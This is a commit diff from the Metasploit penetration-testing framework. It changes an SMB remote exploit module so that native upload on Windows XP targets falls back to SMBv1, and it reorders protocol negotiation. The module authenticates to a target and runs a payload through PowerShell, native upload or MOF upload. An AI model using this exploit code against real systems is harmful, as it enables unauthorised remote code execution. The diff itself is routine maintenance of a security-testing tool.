Land #10242, avoid using SMBv2 on Windows XP Native Upload targets

GSoC/Meterpreter_Web_Console
Jacob Robles 2018-07-02 17:34:53 -05:00
commit d9ed8352ab
No known key found for this signature in database
GPG Key ID: 3EC9F18F2B12401C
1 changed files with 14 additions and 4 deletions

View File

@ -86,12 +86,22 @@ class MetasploitModule < Msf::Exploit::Remote
])
end
def native_upload_with_workaround
# Avoid implementing NTLMSSP on Windows XP
# http://seclists.org/metasploit/2009/q1/6
if smb_peer_os == "Windows 5.1"
connect(versions: [1])
smb_login
end
native_upload(datastore['SHARE'])
end
def exploit
print_status("Connecting to the server...")
connect(versions: [1,2])
connect(versions: [2,1])
print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...")
smb_login()
smb_login
if not simple.client.auth_user and not datastore['ALLOW_GUEST']
print_line(" ")
@ -117,12 +127,12 @@ class MetasploitModule < Msf::Exploit::Remote
execute_powershell_payload
else
print_status('Selecting native target')
native_upload(datastore['SHARE'])
native_upload_with_workaround
end
when 'PowerShell'
execute_powershell_payload
when 'Native upload'
native_upload(datastore['SHARE'])
native_upload_with_workaround
when 'MOF upload'
mof_upload(datastore['SHARE'])
end